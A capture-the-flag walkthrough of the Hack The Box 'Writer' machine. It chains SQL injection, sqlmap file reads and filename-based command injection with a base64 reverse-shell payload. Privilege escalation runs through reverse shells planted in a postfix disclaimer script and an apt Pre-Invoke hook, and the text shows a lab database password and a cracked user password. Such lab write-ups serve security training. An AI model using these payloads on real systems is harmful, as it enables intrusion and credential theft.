Writer - [HTB]

Cover Image for Writer - [HTB]

Table of Contents


    Writer is a medium linux machine where the attacker will have to use sqli for becoming Admin in a writer's blog and for downloading files from the machine. Thanks to the files that the attacker is able to download will be able to analyse its functions discovering a vulnerability that will lead him or her to obtain RCE. Then, will have to modify a bash script used in a local smtp server to become the user john. Finally, because john is able to create files under the apt configuration folder, the attacker will only have to create a malicious file under this directory waiting for an automated update.


    As always, let's start finding all opened ports in the machine with nmap.

    kali@kali:~/Documents/HTB/Writer$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt
    Warning: giving up on port because retransmission cap hit (2).
    Nmap scan report for
    Host is up (0.094s latency).
    Not shown: 65531 closed ports
    22/tcp  open  ssh
    80/tcp  open  http
    139/tcp open  netbios-ssn
    445/tcp open  microsoft-ds
    # Nmap done at Thu Aug 12 14:16:36 2021 -- 1 IP address (1 host up) scanned in 301.73 seconds

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/Writer$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80,139,445
    Nmap scan report for
    Host is up (0.20s latency).
    22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
    |   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
    |_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
    80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Story Bank | Writer.HTB
    139/tcp open  netbios-ssn Samba smbd 4.6.2
    445/tcp open  netbios-ssn Samba smbd 4.6.2
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    Host script results:
    |_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
    | smb2-security-mode: 
    |   2.02: 
    |_    Message signing enabled but not required
    | smb2-time: 
    |   date: 2021-08-12T18:20:36
    |_  start_date: N/A

    Looking at port 80 seems to be a blog.

    Write WebPage

    Because the main page isn't very helpful, let's jump in to web enumeration.

    kali@kali:~/Documents/HTB/Writer$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,html,txt,doc -t 40 -o gobuster.txt -u                                        
    Gobuster v3.1.0                                         
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    [+] Url:                     http:///
    [+] Method:                  GET
    [+] Threads:                 40
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0 
    [+] Extensions:              php,html,txt,doc
    [+] Timeout:                 10s
    2021/08/01 04:12:20 Starting gobuster in directory enumeration mode
    /about                (Status: 200) [Size: 3522]
    /contact              (Status: 200) [Size: 4905]
    /static               (Status: 301) [Size: 313] [-->]
    /logout               (Status: 302) [Size: 208] [-->]
    /dashboard            (Status: 302) [Size: 208] [-->]
    /administrative       (Status: 200) [Size: 1443]

    In the /administrative page there is a login form vulnerable to SQLi.

    Admin Login


    In order to check if it is vulnerable to **SQLi **we can send 'or 1=1 -- - as username, getting access as Admin. So now, we are able to create posts with images attached.

    Note: You need to click on 'here' in order to write an URL. This will come handy later.

    Remote File Inclusion

    Then we can use sqlmap to dump not only the database, but stored files in the machine like /etc/passwd.

    Note: By default sqlmap uses time based attackes, so downloading a file can take hours. Hence, you need to specify the Union technique taking just a couple of seconds.

    kali@kali:~/Documents/HTB/Writer$ sqlmap -u "" --data "uname=asd&password=asd" -p uname --dbms=MySQL -D writer -T users --dump
    Database: writer
    Table: users
    [1 entry]
    | id | email            | status | password                         | username | date_created |
    | 1  | admin@writer.htb | Active | 118e48794631a9612484ca8b55f622d0 | admin    | NULL         |
    kali@kali:~/Documents/HTB/Writer$ sqlmap -u "" --data "uname=asd&password=asd" -p uname --file-read=/etc/passwd --technique=U
    do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
    got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] N
    files saved to [1]:
    [*] /home/kali/.local/share/sqlmap/output/ (same file)
    kali@kali:~/Documents/HTB/Writer$ cat /home/kali/.local/share/sqlmap/output/
    kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash

    Furheremore, obtaining the file /etc/apache2/sites-available/000-default.conf we can obtain information about the web server internals. As we can see, trying to access to the port 80 the apache server executes the script writer.wsgi.

    kali@kali:~/Documents/HTB/Writer$ sqlmap -u "" --data "uname=asd&password=asd" -p uname --file-read=/etc/apache2/sites-available/000-default.conf --batch
    got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] n
    do you want confirmation that the remote file '/etc/apache2/sites-available/000-default.conf' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
    got a 302 redirect to ''. Do you want to follow? [Y/n] n
    files saved to [1]:
    [*] /home/kali/.local/share/sqlmap/output/ (same file)
    kali@kali:~/Documents/HTB/Writer$ cat /home/kali/.local/share/sqlmap/output/
    # Virtual host configuration for writer.htb domain
    <VirtualHost *:80>
            ServerName writer.htb
            ServerAdmin admin@writer.htb
            WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
            <Directory /var/www/writer.htb>
                    Order allow,deny
                    Allow from all
    		Alias /static /var/www/writer.htb/writer/static                         
            <Directory /var/www/writer.htb/writer/static/>
                    Order allow,deny
                    Allow from all 

    Downloading the file writer.wsgi we can know the existance of a file named __init__.py.

    kali@kali:~/Documents/HTB/Writer$ sqlmap -u "" --data "uname=asd&password=asd" -p uname --file-read=/var/www/writer.htb/writer.wsgi --technique=U
    do you want confirmation that the remote file '/var/www/writer.htb/writer.wsgi' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
    got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] n
    files saved to [1]:
    [*] /home/kali/.local/share/sqlmap/output/ (same file)
    kali@kali:~/Documents/HTB/Writer$ cat /home/kali/.local/share/sqlmap/output/
    import sys
    import logging
    import random
    import os
    # Define logging
    # Import the __init__.py from the app folder
    from writer import app as application
    application.secret_key = os.environ.get("SECRET_KEY", "")

    This file is stored under the path /var/www/writer.htb/writer/.

    kali@kali:~/Documents/HTB/Writer$ sqlmap -u "" --data "uname=asd&password=asd" -p uname --file-read=/var/www/writer.htb/writer/__init__.py --technique=U
    got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] n
    do you want confirmation that the remote file '/var/www/writer.htb/writer/__init__.py' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
    got a 302 redirect to ''. Do you want to follow? [Y/n] n
    files saved to [1]:
    [*] /home/kali/.local/share/sqlmap/output/ (size differs from remote file)

    Viewing the code inside the file we can see that under the routes /dashboard/stories/add and /dashboard/stories/edit/<id>' the following code is being executed if we upload an image by file or by URL.

        if request.method == "POST":
            if request.files['image']:
                image = request.files['image']
                if ".jpg" in image.filename:
                    path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                    image = "/img/{}".format(image.filename)
                    error = "File extensions must be in .jpg!"
                    return render_template('add.html', error=error)
    		if request.form.get('image_url'):
                image_url = request.form.get('image_url')
                if ".jpg" in image_url:
                        local_filename, headers = urllib.request.urlretrieve(image_url)
                        os.system("mv {} {}.jpg".format(local_filename, local_filename))

    Analysing the code we can see several things. First, we can upload any file containing the characters ".jpg" in its filename ( image parameter) which will beistored under the path /var/www/writer.htb/writer/static/img/<FilenName>.

    Secondly, and most important, we need to know how the function urllib.request.urlretrieve() works so we can obtain RCE. Basically, if we pass this function an url like http://domain.com/image.jpg the local_filename variable will stored a string like /tmp/tmptetntjkk. But, if the image url looks like "file:///etc/passwd" it will return the actual path "/etc/passwd". Furtheremore, the path will by added to the function os.system() which will execute anything in the resulting string as a command.

    Hence, if we create a file named patata.jpg; id ;echo the resulting string will look like this.

     mv patata.jpg; id ;echo patata.jpg; id ;echo .jpg 

    This will produce an error on the mv command, executing the id command and avoiding any error with the ".jpg" string.

    In order to obtain a reverse shell we need to encode the payload into base64, creating the file with touch.

    kali@kali:~/Documents/HTB/Writer$ echo "bash -i >& /dev/tcp/ 0>&1" | base64
    kali@kali:~/Documents/HTB/Writer$ touch "patata.jpg; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Mi80NDQ0IDA+JjEK|base64 -d|bash;echo"

    Now, we need to create a post uploading the file we have just created and then,modify it by changing its story image using the URL form.

    file:///var/www/writer.htb/writer/static/img/patata.jpg; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Mi80NDQ0IDA+JjEK|base64 -d|bash;echo
    RCE URL image_url

    However, we need to remove the pattern html attribute from the image_url form so we can submit the modification.

    <input class="form-control" type="url" pattern="http(s?)(:\/\/)((www.)?)(([^.]+)\.)?([a-zA-z0-9\-_]+)(.com|.net|.gov|.org|.in|.co.uk)(\/[^\s]*)?" name="image_url" title="Special characters are not allowed!"></input>

    If you have done everything above correctly you will get a reverse shell as www-data.

    kali@kali:~/Documents/HTB/Writer$ nc -nlvp 4444
    listening on [any] 4444 ...
    connect to [] from (UNKNOWN) [] 35676
    bash: cannot set terminal process group (1002): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@writer:/$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

    Privilege Escalation 1

    Inside the MariaDB configuration file located at /etc/mysql/my.cnf we can obtain obtaining kyle's hashed password.

    www-data@writer:/$ cat /etc/mysql/my.cnf
    database = dev
    user = djangouser
    password = DjangoSuperPassword
    www-data@writer:/tmp$ mysql -u djangouser -pDjangoSuperPassword
    MariaDB [dev]> use dev; select username, password from auth_user;
    Database changed
    | username | password                                                                                 |
    | kyle     | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= |
    1 row in set (0.000 sec)

    In order to crack it we can use hashcat.

    kali@kali:~/Documents/HTB/Writer$ cat kyleHash.txt 
    kali@kali:~/Documents/HTB/Writer$ hashcat -m 10000 --username kyleHash.txt /usr/share/wordlists/rockyou.txt 

    Kyle's creds can be used for getting access to the machine through SSH, obtaining the user flag.

    kali@kali:~/Documents/HTB/Writer$ ssh kyle@
    The authenticity of host ' (' can't be established.
    ECDSA key fingerprint is SHA256:GX5VjVDTWG6hUw9+T11QNDaoU0z5z9ENmryyyroNIBI.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '' (ECDSA) to the list of known hosts.
    kyle@'s password: marcoantonio
    kyle@writer:~$ id
    uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
    kyle@writer:~$ cat user.txt 

    Privilege Escalation 2

    Kyle is a member of the group filter allowing him to edit the file /etc/postfix/disclaimer .

    kyle@writer:~$ find / -group filter 2>/dev/null                       
    kyle@writer:~$ ls -la /etc/postfix/disclaimer
    -rwxrwxr-x 1 root filter 1021 Aug 12 18:42 /etc/postfix/disclaimer
    kyle@writer:~$ cat /etc/postfix/disclaimer
    # Localize these.

    Digging more inside the /etc/postfix/ directory there is a file named master.cf where appears the user john and the file disclaimer.

    kyle@writer:/etc/postfix$ cat master.cf
      flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}

    Looking at the POSTFIX documentation we can know that once an email is received the user john will execute the file /etc/postfix/disclaimer. So because we have write permissions in this file we can add a malicious code, obtaining a reverse shell.

    # Localize these.
    bash -c 'bash -i >& /dev/tcp/ 0>&1'

    Finally, we only need to send an email to the local smtp server running on port 25.

    kyle@writer:~$ netstat -ptuona | grep LISTEN
    tcp        0      0  *               LISTEN      -                    off (0.00/0/0)

    You can use the following python script to send the email.

    kali@kali:~/Documents/HTB/Writer$ cat sendEmail.py 
    import smtplib
    server = smtplib.SMTP("localhost",25)

    Note: Because the machine erase everything under the /tmp folder every two minutes I encourage you to use another folder. Furthermore, it replaces the file /etc/postfix/disclaimer with a new copy so keep a copy of your modified version of disclaimer, avoiding editing the same file over and over in case you can't do everything fast enough.

    kyle@writer:~/.cache$ cd ~/.cache && cp /etc/postfix/disclaimer
    kyle@writer:~/.cache$ vim disclaimer && cat disclaimer
    # Localize these.
    bash -c 'bash -i >& /dev/tcp/ 0>&1'
    kyle@writer:~/.cache$ cp disclaimer /etc/postfix/disclaimer && python3 sendMail.py 

    Once the file has been modified and the emails has been sent you will receive a reverse shell as john.

    kali@kali:~/Documents/HTB/Writer$ nc -nvlp 4445
    listening on [any] 4445 ...
    connect to [] from (UNKNOWN) [] 54708
    bash: cannot set terminal process group (73854): Inappropriate ioctl for device
    bash: no job control in this shell
    john@writer:/var/spool/postfix$ id
    uid=1001(john) gid=1001(john) groups=1001(john)

    Privilege Escalation 3

    Inside the john's home directory there is an SSH key.

    john@writer:/home/john$ ls -la .ssh/
    total 20
    drwx------ 2 john john 4096 Jul  9 12:29 .
    drwxr-xr-x 5 john john 4096 Aug 17 06:01 ..
    -rw-r--r-- 1 john john  565 Jul  9 12:29 authorized_keys
    -rw------- 1 john john 2602 Jul  9 12:29 id_rsa
    -rw-r--r-- 1 john john  565 Jul  9 12:29 id_rsa.pub

    Using john's SSH key show us that we are member of the management group, something that didn't appear before.

    kali@kali:~/Documents/HTB/Writer$ ssh -i JohnSSH.key john@
    john@writer:~$ id
    uid=1001(john) gid=1001(john) groups=1001(john),1003(management)

    The members of this group can create files under the /etc/apt/apt.conf.d directory.

    john@writer:~$ find / -group management  2> /dev/null 
    john@writer:/etc/apt/apt.conf.d$ ls -la /etc/apt/apt.conf.d
    total 48
    drwxrwxr-x 2 root management 4096 Aug 17 08:18 .
    drwxr-xr-x 7 root root       4096 Jul  9 10:59 ..
    -rw-r--r-- 1 root root        630 Apr  9  2020 01autoremove
    -rw-r--r-- 1 root root         92 Apr  9  2020 01-vendor-ubuntu
    -rw-r--r-- 1 root root        129 Dec  4  2020 10periodic
    -rw-r--r-- 1 root root        108 Dec  4  2020 15update-stamp
    -rw-r--r-- 1 root root         85 Dec  4  2020 20archive
    -rw-r--r-- 1 root root       1040 Sep 23  2020 20packagekit
    -rw-r--r-- 1 root root        114 Nov 19  2020 20snapd.conf
    -rw-r--r-- 1 root root        625 Oct  7  2019 50command-not-found
    -rw-r--r-- 1 root root        182 Aug  3  2019 70debconf
    -rw-r--r-- 1 root root        305 Dec  4  2020 99update-notifier

    Looking on google about "apt.conf.d privilegfe escalation" appears this post explaining how can we become root if we have write permissions in this folder.

    Basically we only need to create a new file inside this folder with the following content so when the system updates; apt will execute our command before updating itself.

    Finally, after two minutes we will obtain a reverse shell as root.

    john@writer:/etc/apt/apt.conf.d$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4446 >/tmp/f"};' > 60pwn
    kali@kali:~/Documents/HTB/Writer$ nc -nlvp 4446
    listening on [any] 4446 ...
    connect to [] from (UNKNOWN) [] 60172
    /bin/sh: 0: can't access tty; job control turned off
    # id 
    uid=0(root) gid=0(root) groups=0(root)
    # cat /root/root.txt